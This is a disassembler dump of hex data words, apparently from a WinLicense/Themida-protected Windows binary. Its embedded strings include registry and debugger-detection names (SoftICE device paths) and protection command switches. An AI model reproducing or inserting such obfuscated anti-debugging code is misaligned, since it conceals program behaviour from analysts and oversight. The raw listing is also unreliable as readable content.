dd 0F2204F8Ch, 0B727728h, 0C24D7B18h, 91B25588h, 0C91AA3E3h
dd 18B52B16h, 3E7B5560h, 0E139720Fh, 0F20CE71h, 0C41C31F9h
dd 517FAEEAh, 9808EA87h, 3AFE2C5Bh, 0D7A1CFFEh, 0BDF61375h
dd 0A452F565h, 19DB381Bh, 704AED63h, 0AD40235h, 241DB56Dh
dd 5E16C93Ah, 4C8F61Dh, 3762A1C6h, 0AFDD3F09h, 0F2929B96h
dd 6E141474h, 0D742A4Bh, 0FEA2096Ch, 0F240CF8Dh, 1D1h
dd 0AC5A7BB8h, 16C91AEAh, 0BDE17EF4h, 9B5AB20Dh, 341D00AEh
dd 913FE24Ch, 16C9F3CDh, 56F95BD1h, 32F547A8h, 0D917871Ch
dd 871D4CAEh, 45F6C962h, 0F295055Dh, 11AED918h, 73A2C3E4h
dd 0AF202E2Dh, 793D6D5Fh, 85CAFA83h, 37B8720Fh, 0ECC0026Fh
dd 2E7B9FBDh, 479B9532h, 0BA51C605h, 16F895F7h, 35B72A0h
dd 3342F093h, 0ECC5E867h, 0B967D312h, 0CAFA55F5h, 0F32183F9h
dd 3AAA8C29h, 6994D2FFh, 0E10F713Bh, 53B5DC1Dh, 2C8EB9F7h
dd 4275AF89h, 0D2053F25h, 3D073FA1h, 5A160E93h, 4C6h, 7244B8Bh
dd 99B6E521h, 2A4776B3h, 0B9D60944h, 4D6A95D3h, 0E3219949h
dd 74B59BB8h, 0B4A304Dh, 0A3DDC3E0h, 0A5865370h, 22BEB7F7h
dd 0DE3713h, 4A7176Fh, 20BDF02Ah, 7A0A45F3h, 6B451C2Fh
dd 9D3012Ch, 71148A6Ch, 53002F50h, 9CCCFA54h, 43DA9CCCh
dd 6EE41322h, 81ACEBD1h, 143F7E64h, 0BBE822E6h, 0BBEC4E81h
dd 6984FD3Fh, 535A160Eh, 18000004h, 0AE94B1D8h, 40264372h
dd 0D1B7D403h, 60466396h, 0D6DAF722h, 3D68A60Ch, 0D2F93A20h
dd 6590CFB5h, 0F5286248h, 7C2A0BD8h, 1322BE3Ah, 7B8D6BC4h
dd 9B3863A1h, 59077BB5h, 16C91A15h, 93C12399h, 346295CFh
dd 53B53370h, 39D8EA91h, 642856B8h, 0BBC9F72Ah, 4872DD98h
dd 0B4EDF950h, 22149ABh, 6DB35D73h, 98ED16C9h, 40CFA2C9h
dd 0FFFCEFE9h, 5A7BAFFFh, 1ACB8B39h, 5DD316C9h, 0C91A692Dh
dd 0C4057516h, 43A56F9Dh, 5386C0A6h, 6B9AD6B0h, 1ED6733Dh
dd 9C3FAF07h, 3762A17Bh, 4F0F3F09h, 4F16C91Ah, 1AA4EA98h
dd 0B42A16C9h, 6788B552h, 86234E8Dh, 3207D7CCh, 9CB92F1Ch
dd 241846Eh, 0E9973AAAh, 1C321C04h, 0FA5D44Ah, 0AB354955h
dd 0C851E312h, 0BEBDD4E4h, 52EF5184h, 0AE51C119h, 0CF817F00h
dd 5B89FFB1h, 0D97CEC44h, 0E394C3FFh, 52219012h, 6693304Eh
dd 30762445h, 0BEBEDEBDh, 83E5104Eh, 22BFE627h, 25B66968h
dd 4381F1B4h, 7D20EA18h, 37848FCFh, 37990FBBh, 4D80BA94h
dd 0DD104A30h, 71B85EACh, 39F5EDC1h, 322h, 6380A7E7h, 0F512417Dh
dd 86A3D20Fh, 153265A0h, 0A9C6F12Fh, 37753DA5h, 0C809EF0Ch
dd 5F9E84A1h, 0F7311734h, 0F9DAA7C4h, 22BF0B4Bh, 5C3A9313h
dd 6CAD176Fh, 0F14D1745h, 8B5583B6h, 87D88629h, 71C2F7Ah
dd 0D514EE91h, 68A78DAAh, 2A040F3Dh, 3F25C2E9h, 59A1D205h
dd 0EC6984B6h, 2C038F4h, 45850000h, 0DF1B011Eh, 70AD93B0h
dd 33E2441h, 8FCDB3D0h, 9F434764h, 8DAAD513h, 223F66A7h
dd 0B5D2FD3Ch, 456295CFh, 0A5E99778h, 291322BCh, 176FF2D0h
dd 3DD504A7h, 0EE600CCBh, 294A7714h, 47E4134Fh, 2F53D88Dh
dd 0CD70E61Ch, 9745B9F3h, 132293D7h, 5CFF61D7h, 8A74232Dh
dd 80231075h, 22B28CD2h, 0FF9C1213h, 56C81F58h, 0B24F05B3h
dd 0D9081322h, 663DE2CEh, 0CD003ABCh, 76ECCE6Bh, 1B468448h
dd 8B3E2EDh, 6A29BB7Fh, 93ED329Ch, 87E9742Bh, 93C1EC2Bh
dd 0E7F62CC9h, 7FB2ECC6h, 17578751h, 971322DEh, 5DBFE627h
dd 719CDAC0h, 52C41B54h, 0DEB501AFh, 0C3391322h, 6497D195h
dd 205A2236h, 5B89B4F3h, 0E5122F91h, 84FF35B6h, 4F00C25Ch
dd 0E8B4DF59h, 290FAC6Ch, 8C8EBCEFh, 22559002h, 0C8EF30F4h
dd 363FB69Ah, 0BF99D068h, 0F41B5C81h, 0FD9AFCC6h, 0BDF7ADC8h
dd 0CF0DE78Ah, 0DF416CAAh, 0D7DF762Eh, 4AE776A5h, 5083BDA3h
dd 0F5205E22h, 96C903C7h, 3867A468h, 3243920Ah, 0F085E46Ch
dd 2A477AB4h, 38DB0644h, 0C5F3225Eh, 9BA65EFBh, 0F7AA446Ch
dd 22170549h, 62138913h, 25EEF3Eh, 0D3F794C7h, 0AA84BBBBh
dd 4812406Bh, 0A5FF76ABh, 4BB1ED67h, 1CB87098h, 275584C0h
dd 0B1DEFB5Dh, 0FDC16F90h, 1132260h, 601B5B8Bh, 2DA31322h
dd 416CAA90h, 8FCF7D9Eh, 0F132260h, 836619Fh, 873FDC3Eh
dd 6A1884C3h, 13226024h, 0E33B6AA6h
dd 19DD0B6Dh, 6A83B1D8h, 959141B0h, 9CD73389h, 0EC4B3B69h
dd 22991589h, 0E8135153h, 30762445h, 0BE132295h, 1E04AB48h
dd 0EB83B1E4h, 9B53BD6Dh, 891B5AD1h, 19FF1C4Fh, 0E809ACDFh
dd 51F2743Ah, 0D3876ABh, 0EAA23FB5h, 0F038B0DFh, 0B6B8EA95h
dd 4BE84A79h, 0CEFC2765h, 8CCBA5C0h, 98FA2D67h, 0CE03A06Ah
dd 0E795B6A7h, 0AB51ECA7h, 8DBBE223h, 97A66BC3h, 778826A8h
dd 8B710E70h, 1B011E51h, 6980AEE1h, 3F66A711h, 42E54711h
dd 0CFFD2C68h, 8D3B6805h, 0A1A93C80h, 0C2FB188Eh, 7D57FA6Ah
dd 19E31140h, 0BCA14F7Ch, 0B7A45E96h, 4371A0DDh, 84FADC79h
dd 0AA8BB2E1h, 0C548D73Ah, 72AC7028h, 0D4F5223Fh, 5F8DC0FAh
dd 0D3216595h, 0F6ADAB53h, 53D30648h, 0B01288ABh, 71F32D13h
dd 38743110h, 6011DB09h, 0EE50210Ch, 388128C0h, 607B4375h
dd 0EC1A4986h, 25508522h, 0D918457Fh, 492F4CAEh, 0EAAEDC0Fh
dd 0B8D97CAFh, 7970440Ah, 37D44AB3h, 51249B7Fh, 0C4F7320Ch
dd 0D4074127h, 6A97D1B7h, 0AD40229h, 3BE7AA8h, 0FE000000h
dd 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h
dd 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h, 51864775h
dd 0B850E189h, 78902EEFh, 0F42D9735h, 5BF32522h, 0D8F74B63h
dd 9FFC9435h, 58C101B5h, 8704E983h, 685C240Ch, 524h, 83241489h
dd 3C8904ECh, 4EC8324h, 0BB241C89h, 5EBA074h, 685BDA89h
dd 2E90h, 83242489h, 5F042404h, 21BD68h, 24148900h, 0FF08478Fh
dd 835F2434h, 148B04C4h, 0E6895624h, 4C681h, 0C6810000h
dd 4, 5C243487h, 0FDD65AE9h, 0B82D49FFh, 5EBA922h, 0E0FFC503h
dd 27D7D19Ah, 616F2AEDh, 6D5FFF1Fh, 3CD54B7Dh, 232A77E7h
dd 6D9EF07Eh, 51319467h, 700DF6F8h, 12764263h, 27880684h
dd 49AEEDA8h, 42FF4879h, 77641511h, 4645834Fh, 78FE09CFh
dd 56550D4Bh, 1FF32E14h, 2A8D19ECh, 6AFF1E63h, 3F7D1A98h
dd 550BC9C8h, 53BA28B9h, 117C4D89h, 5E8h, 98695600h, 665A8F1Eh
dd 8193CCB8h, 71AEC2h, 0E8816600h, 0BB3651h, 0F000000h
dd 34FFF0B7h, 5F53B413h, 0E8BE6656h, 0C781583Bh, 4C3E473Dh
dd 880Fh, 0C7810000h, 0BF85282h, 0ABD4BE66h, 0B4CBEF81h
dd 0B9661CB7h, 3C89E27Bh, 8052601Ah, 0E95ED3EBh, 0Ch, 664AE052h
dd 6325A575h, 0D3F837E3h, 86EB8161h, 6055E63Fh, 0E1805F52h
dd 0C38161C9h, 55E63F82h, 9572E681h, 0FB813D9Eh, 0FFFF8ED8h
dd 0FF94850Fh, 0E9F5FFFFh, 72h, 0D9BD8360h, 5E927h, 5840Fh
dd 5DE90000h, 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h
dd 3E800000h, 8850F33h, 6A000000h, 24E94610h, 80000000h
dd 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h
dd 2E9h, 8D006A00h, 0E9117585h, 90509005h, 24348950h, 95FF006Ah
dd 5E91DA5h, 85C6C361h, 5E90EE5h, 2013684Dh, 481943Dh
dd 0F8569524h, 39B5FF0Fh, 8D05E900h, 0E939CF85h, 89D0FF05h
dd 0E91DA585h, 5C1EEB05h, 535C2E5Ch, 454349h, 5C2E5C5Ch
dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 6AC08B00h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0CBFEC351h, 7CE6D53Ah, 0FB2DE80h, 184h, 0BD83FC00h
dd 5E9164Dh, 83097500h, 0E91121BDh, 19740005h, 0C08B5350h
dd 40FB8h, 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h
dd 21BD8358h, 5E911h, 53501774h, 40FB8h, 0B9858900h, 8D05E923h
dd 0EBB5B39Dh, 5BD3FF05h, 12E958h, 71680000h, 86BB725h
dd 3683F648h, 0B2EF5AEh, 6EE9F2DCh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0BCC35747h, 1A59AE92h, 333945E7h
dd 6D78166h, 0FC08BB8h, 2081h, 14E800h, 0ED8D0000h, 0C55174C8h
dd 5B86E7D5h, 9474DD97h, 0CDF0DC11h, 9D89E641h, 5E93309h
dd 0B1858959h, 0C605E921h, 0E90EE585h, 6A4305h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 786844C3h, 814793D0h, 9E842404h, 0CE974FAh, 0CC000000h
dd 0F0E38ED0h, 3C34164Ah, 0FF228547h, 0E92345B5h, 0AD8D8B05h
dd 0F05E907h, 858DF6BFh, 5E939CFh, 0EE07DF81h, 0D0FF39B9h
dd 606AD680h, 89D08B66h, 0E930D195h, 0B6506105h, 2404892Ch
dd 0D0C1B966h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 3A0CD4C3h, 0F2ABE2E0h, 46684D68h
dd 240481B5h, 4AB99833h, 252D958Bh, 0C98105E9h, 62C4CE38h
dd 8B0F036Ah, 4, 0F1F2B966h, 0C981006Ah, 5C8ACB7Fh, 840F036Ah
dd 2, 4468AFB1h, 81B7442Eh, 2E442434h, 0BF0F7744h, 329D8DFBh
dd 9305EBABh, 60505E57h, 14E8h, 0BA35AC00h, 0B823F3CDh
dd 6692CD4h, 0A20792B7h, 9C8AA9F1h, 0F5250B8h, 58585A31h
dd 6840Fh, 52500000h, 585A310Fh, 0B70F9361h, 0B6D0FFD6h
dd 850F40B7h, 2FCh, 409BD8Bh, 858905E9h, 5E91125h, 0C2816058h
dd 1B2884B2h, 338BD381h, 50617594h, 13860Fh, 0BE80000h
dd 0FA000000h, 3B9DF7E8h, 0EA43E2C8h, 6160B799h, 2404895Fh
dd 501958Bh, 0AE805E9h, 0FF000000h, 0E94A85DFh, 0C12607D6h
dd 7DB58B5Ah, 5A05E901h, 8D8B006Ah, 5E915E5h, 4E8h, 8000h
dd 50F38B00h, 0E078DDB9h, 24448B37h, 0F88B6604h, 4489008Bh
dd 52500424h, 6800Fh, 52500000h, 585A310Fh, 0FE8310Fh
dd 15000000h, 866F578Ch, 0EC93DB13h, 0C6106ED0h, 5A50DAB6h
dd 58585A5Eh, 28E18166h, 0B9036A5Ah, 1E551F4Eh, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 6DADF8C3h, 0F56ED237h, 0BD89036Ah, 5E912A9h, 833EC368h
dd 8B6660EDh, 9E8FEh, 94430000h, 0CDAFDC96h, 8B595516h
dd 81615FD9h, 3EC32434h, 0BE662D83h, 9D8D9F3Ah, 5EBAB3Bh
dd 18C1BD23h, 0F5005E9h, 87h, 241C8900h, 12AD9589h, 0D0FF05E9h
dd 178DB50Bh, 0F4005E9h, 1CF85h, 793FBF00h, 0F585190h
dd 8950F0BFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 29D1CBC3h, 0E9331995h, 0F8006A05h
dd 4999533h, 156805E9h, 0F456C70h, 80h, 24348100h, 456C7095h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 23C35242h
dd 10865A51h, 183E06EEh, 0D4DBD8Bh, 858905E9h, 5E928A9h
dd 0F180036Ah, 6A006AA9h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0C826C352h, 6AFED267h
dd 50006A03h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 770545CBh, 0E8F1BF0Fh, 4, 0C0000000h, 14800Fh
dd 8E80000h, 0E2000000h, 0CD1C2EACh, 0F9A23B5h, 87h, 0E9505A00h
dd 0Ah, 90B81B1h, 0F8B33BDEh, 448BF65Fh, 0F78A0424h, 12E9008Bh
dd 4B000000h, 467A2562h, 0CFC9B029h, 2E7F4525h, 2C4153ADh
dd 244489C4h, 0D18B6604h, 0D1858958h, 8D05E930h, 0EBAB469Dh
dd 85895605h, 5E92F89h, 8D0F505Eh, 0Fh, 9E8h, 42E7D100h
dd 0B100E5F6h
dd 895E4856h, 8A0F241Ch, 15h, 10E9h, 5B85A00h, 446EBC4Ch
dd 0A14F9B2h, 4262D6CAh, 99D29E3h, 0FF05E928h, 32BB60D0h
dd 8917BE90h, 0E9078D85h, 0F406105h, 4B85h, 0EE900h, 56080000h
dd 4535D941h, 0E796E1CFh, 6B748A71h, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 9D893C46h
dd 5E90249h, 0BCB96650h, 8FE95E81h, 0F000001h, 38Ah, 0FBBF0F00h
dd 0B70FD88Bh, 81664BF0h, 584560E1h, 0EE585C6h, 6A4305E9h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0EEF4C350h, 99239E2h, 29606097h, 0E923598Dh
dd 61616005h, 19890Fh, 14E90000h, 67000000h, 0A05AC353h
dd 0DC86DEDAh, 91A8CCFFh, 0CCFB333Ah, 617E7C64h, 4E8h
dd 764AA700h, 0FDB4BEC0h, 66507E1Fh, 8B31CFBFh, 60042444h
dd 0E9564CB6h, 8, 0D570B66Ch, 0CF16A764h, 8B6159h, 0FE8B6651h
dd 2444895Ah, 9E804h, 52B10000h, 5061236Ah, 0BE3A6EDAh
dd 3A44CF48h, 0B60585Ah, 0E910C985h, 68F0F05h, 29000000h
dd 0E923C995h, 0B5FF6105h, 5E92345h, 6820Fh, 0CA810000h
dd 6BE8EF5Bh, 39CF858Dh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 30AC0CC3h, 0D0FF4CB5h
dd 26D9B58Bh, 605005E9h, 9E8h, 3F784500h, 3057F702h, 52504025h
dd 585A310Fh, 1C89615Eh, 434DBA24h, 0D0FF6029h, 16BDB523h
dd 9D8D05E9h, 5E972D4h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 2AC35646h, 0C0B9A123h, 0DAE981FFh, 0B81D9344h
dd 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah
dd 49C35646h, 6B1BA9B0h, 0D181030Ch, 6CAB2D4Bh, 0B966E3FFh
dd 0C18BF455h, 0AE960h, 11E40000h, 4FCF938Ch, 2DB8B21Dh
dd 1638BA66h, 0A1958B61h, 8B05E90Fh, 0ABE66C0h, 4DBD83A9h
dd 5E916h, 0BD830975h, 5E91121h, 50197400h, 0B8C08B53h
dd 40Fh, 5AD8589h, 9D8D05E9h, 5EBB92Bh, 585BD3FFh, 1121BD83h
dd 740005E9h, 0B8535017h, 40Fh, 5AD8589h, 9D8D05E9h, 5EBB5CCh
dd 585BD3FFh, 3089958Bh, 8D8B05E9h, 5E90AC9h, 7E8C08Bh
dd 0A1000000h, 5CBCBA7Ah, 858BA703h, 5E92451h, 0F7BF0F5Bh
dd 5F7AC381h, 830F0000h, 0
dd 0B9h, 85858B00h, 0FF05E91Fh, 0AE91934h, 5A000000h, 0D28146A2h
dd 4BE24048h, 85295F19h, 5E92215h, 3233F781h, 0B561E77h
dd 0E92A89B5h, 0EF815805h, 5FD623D1h, 0C781C78Bh, 135FB8B4h
dd 0B94DE881h, 3C8967D0h, 5B5890Bh, 2905E927h, 0E90D199Dh
dd 0C5E98105h, 89271499h, 0E9168585h, 0C1C18105h, 0E8271499h
dd 13h, 38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 0F14B01Eh
dd 815AC2B7h, 0FFA16CF9h, 15850FFFh, 0E9000000h, 39h, 5E14ED81h
dd 0FB698B8Ah, 0A1BF8F72h, 5E49D03Dh, 0EE9h, 7967B500h
dd 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 0FFFFFF4Fh, 0FED4B221h
dd 6A4CAB04h, 7913F1Dh, 267BDBBBh, 0AAE9FDh, 6F530000h
dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h
dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h
dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h
dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h
dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h
dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h
dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h
dd 54005455h, 4E4970h, 3 dup(0)
dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0E7858900h, 8D05EBB3h
dd 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h, 95FF8000h
dd 5EBB3F3h, 0B5FF196Ah, 5EBB3E7h, 6A016Ah, 0B37C858Dh
dd 0FF5005EBh, 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h
dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh
dd 0B3E78589h, 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h
dd 168h, 0F395FF80h, 6A05EBB3h, 0E7858D04h, 5005EBB3h
dd 6A046Ah, 0B3A6858Dh, 0FF5005EBh, 0EBB3E3B5h, 595FF05h
dd 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h
dd 0B195FF05h, 0C305E90Bh, 0B3E78589h, 858D05EBh, 5EBB3E3h
dd 4D858D50h, 5005EBB3h, 168h, 0F395FF80h, 6A05EBB3h, 0E7858D04h
dd 5005EBB3h, 6A046Ah, 0B38E858Dh, 0FF5005EBh, 0EBB3E3B5h
dd 595FF05h, 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h, 0FF05EBB3h
dd 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh, 0B3E78589h, 858D05EBh
dd 5EBB3E3h, 4D858D50h, 5005EBB3h, 168h, 0F395FF80h, 6A05EBB3h
dd 0E7858D04h, 5005EBB3h, 6A046Ah, 0B3B9858Dh, 0FF5005EBh
dd 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h
dd 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh, 0B3E78589h
dd 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h, 168h, 0F395FF80h
dd 6A05EBB3h, 0E7858D04h, 5005EBB3h, 6A046Ah, 0B369858Dh
dd 0FF5005EBh, 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h
dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh
dd 2FD9BD83h, 0F0005E9h, 0B84h, 0D99D8B00h, 8305E92Fh
dd 3894CC3h, 0D9BD83C3h, 5E92Fh, 0B840Fh, 9D8B0000h, 5E92FD9h
dd 8950C383h, 0BD83C303h, 5E92FD9h, 0B840F00h, 8B000000h
dd 0E92FD99Dh, 54C38305h, 83C30389h, 0E92FD9BDh, 840F0005h
dd 0Bh, 2FD99D8Bh, 0C38305E9h, 0C3038958h, 2FD9BD83h, 0F0005E9h
dd 0B84h, 0D99D8B00h, 8305E92Fh, 3895CC3h, 8960C3C3h, 0EBB3E785h
dd 0E3858D05h, 5005EBB3h, 0B34D858Dh, 685005EBh, 80000001h
dd 0B3F395FFh, 46A05EBh, 0B3E7858Dh, 6A5005EBh, 8D006A04h
dd 0EBB3DE85h, 0B5FF5005h, 5EBB3E3h, 230595FFh, 0BD8305E9h
dd 5E9164Dh, 0C840F00h, 0FF000000h, 0EBB3E3B5h, 0EF95FF05h
dd 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 6105E90Bh, 858960C3h
dd 5EBB3E7h, 0B3E3858Dh, 8D5005EBh, 0EBB34D85h, 1685005h
dd 0FF800000h, 0EBB3F395h, 8D046A05h, 0EBB3E785h, 46A5005h
dd 858D006Ah, 5EBB3C0h, 0E3B5FF50h, 0FF05EBB3h, 0E9230595h
dd 4DBD8305h, 5E916h, 0C840Fh, 0B5FF0000h, 5EBB3E3h, 0B3EF95FFh
dd 0B5FF05EBh, 5EBB3E3h, 0BB195FFh, 0C36105E9h, 0E7858960h
dd 8D05EBB3h, 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h
dd 95FF8000h, 5EBB3F3h, 858D046Ah, 5EBB3E7h, 6A046A50h
dd 0C7858D00h, 5005EBB3h, 0B3E3B5FFh, 95FF05EBh, 5E92305h
dd 164DBD83h, 0F0005E9h, 0C84h, 0E3B5FF00h, 0FF05EBB3h
dd 0EBB3EF95h, 0E3B5FF05h, 0FF05EBB3h, 0E90BB195h, 60C36105h
dd 0B3E78589h, 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h
dd 168h, 0F395FF80h, 6A05EBB3h, 0E7858D04h, 5005EBB3h
dd 6A046Ah, 0B3CF858Dh, 0FF5005EBh, 0EBB3E3B5h, 595FF05h
dd 8305E923h, 0E9164DBDh, 840F0005h, 0Ch, 0B3E3B5FFh, 95FF05EBh
dd 5EBB3EFh, 0B3E3B5FFh, 95FF05EBh, 5E90BB1h, 8960C361h
dd 0EBB3E785h, 0E3858D05h, 5005EBB3h, 0B34D858Dh, 685005EBh
dd 80000001h, 0B3F395FFh, 46A05EBh, 0B3E7858Dh, 6A5005EBh
dd 8D006A04h, 0EBB3D685h, 0B5FF5005h, 5EBB3E3h, 230595FFh
dd 0BD8305E9h, 5E9164Dh, 0C840F00h, 0FF000000h, 0EBB3E3B5h
dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 6105E90Bh
dd 85C760C3h, 5EBB3E7h, 1, 0B3E3858Dh, 8D5005EBh, 0EBB34D85h
dd 2685005h, 0FF800000h, 0EBB3F395h, 0FC00B05h, 0F84h
dd 0E785C700h, 5EBB3h, 0E9000000h, 4Dh, 858D046Ah, 5EBB3E7h
dd 6A046A50h, 61858D00h, 5005EBB3h, 0B3E3B5FFh, 95FF05EBh
dd 5E92305h, 840FC00Bh, 0Fh, 0B3E785C7h, 5EBh, 0AE90000h
dd 0C7000000h, 0EBB3E785h, 105h, 0E3B5FF00h, 0FF05EBB3h
dd 0E90BB195h, 858B6105h, 5EBB3E7h, 858960C3h, 5EBB3E7h
dd 0B3E3858Dh, 8D5005EBh, 0EBB34D85h, 1685005h, 0FF800000h
dd 0EBB3F395h, 8D046A05h, 0EBB3E785h, 46A5005h, 858D006Ah
dd 5EBB361h, 0E3B5FF50h, 0FF05EBB3h, 0E9230595h, 4DBD8305h
dd 5E916h, 0C840Fh, 0B5FF0000h, 5EBB3E3h, 0B3EF95FFh, 0B5FF05EBh
dd 5EBB3E3h, 0BB195FFh, 0C36105E9h, 0E7858960h, 8D05EBB3h
dd 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h, 95FF8000h
dd 5EBB3F3h, 858D046Ah, 5EBB3E7h, 6A046A50h, 73858D00h
dd 5005EBB3h, 0B3E3B5FFh, 95FF05EBh, 5E92305h, 164DBD83h
dd 0F0005E9h, 0C84h, 0E3B5FF00h, 0FF05EBB3h, 0EBB3EF95h
dd 0E3B5FF05h, 0FF05EBB3h, 0E90BB195h, 0C6C36105h, 0E90EE585h
dd 7685205h, 0FFADE47Bh, 0E921D5B5h, 0C595FF05h, 8905E923h
dd 0EBB3F385h, 0E585C605h, 5205E90Eh, 2E00E568h, 0D5B5FF90h
dd 0FF05E921h, 0E923C595h, 0EF858905h, 0C605EBB3h, 0E90EE585h
dd 35685205h, 0FFB9BF12h, 0E921D5B5h, 0C595FF05h, 8905E923h
dd 0E9230585h, 0E585C605h, 5205E90Eh, 78103468h, 0D5B5FF98h
dd 0FF05E921h, 0E923C595h, 0B1858905h, 0C605E90Bh, 0E90EE585h
dd 0D4685205h, 0FFC005DBh, 0E921D5B5h, 0C595FF05h, 8905E923h
dd 0E91D3985h, 5E805h, 637A0000h, 0E9336C8Eh, 5, 91AC393h
dd 0E9525EAFh, 8, 9A69D8C2h, 6FF5C946h, 31C68159h, 6600005Ah
dd 0E020C981h, 800FDB33h, 5, 1AE98166h, 1E3C8B68h, 5E18166h
dd 9F781CBh, 66001F1Fh, 813EA1B8h, 73EE5AC7h, 3B0CB851h
dd 0F781675Ch, 610C9CEh, 870Fh, 66570000h, 48FCB8Bh, 0DE91Eh
dd 502E0000h, 0BCA851E1h, 16CE45AAh, 81AE5E10h, 0A05601D9h
dd 1EB830Bh, 4B4B4BF5h, 81D0B70Fh, 0FFA694FBh, 18850FFFh
dd 0E9000000h, 8, 0AAA40182h, 92CB96FDh, 22E9h, 8D036200h
dd 0F8C1809h, 881h, 2850F00h, 0B0000000h, 0FF77E93Ah, 7DD2FFFFh
dd 3202B0FCh, 0E9AD6849h, 99h, 6775622Fh, 63656863h, 2F00326Bh
dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio db '/checkprotection',0
align 10h
dd 7BBD8300h, 5EBBBh, 0A840Fh, 85C70000h, 5E91121h, 1
dd 0EE585C6h, 684705E9h, 0C10EE542h, 0CF243481h, 0FF516389h
dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 8BD0FFD0h, 223F80F8h
dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h
dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h
dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h
dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0BAFBB58Dh, 25E805EBh
dd 3000002h, 0EBBB90BDh, 90BD8305h, 5EBBBh, 0B840Fh, 85C70000h
dd 5E9164Dh, 1, 6B58DC3h, 0E805EBBBh, 1FCh, 0BB90BD03h
dd 0BD8305EBh, 5EBBB90h, 0B840F00h, 0C7000000h, 0E9112185h
dd 105h, 0B58DC300h, 5EBBB7Fh, 1D3E8h, 90BD0300h, 8305EBBBh
dd 0EBBB90BDh, 840F0005h, 0Bh, 27D985C7h, 105E9h, 8DC30000h
dd 0EBBB10B5h, 1AAE805h, 0BD030000h, 5EBBB90h, 0BB90BD83h
dd 0F0005EBh, 0B84h, 2185C700h, 105E911h, 0C3000000h, 0BB1AB58Dh
dd 81E805EBh, 3000001h, 0EBBB90BDh, 90BD8305h, 5EBBBh
dd 15840Fh, 85C70000h, 5E91121h, 1, 164D85C7h, 105E9h
dd 8DC30000h, 0EBBB28B5h, 14EE805h, 0BD030000h, 5EBBB90h
dd 0BB90BD83h, 0F0005EBh, 0A84h, 4985C700h, 105E910h, 8D000000h
dd 0EBBB32B5h, 126E805h, 0BD030000h, 5EBBB90h, 0BB90BD83h
dd 0F0005EBh, 0A84h, 4985C700h, 105E910h, 8D000000h, 0EBBB3DB5h
dd 0FEE805h, 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh
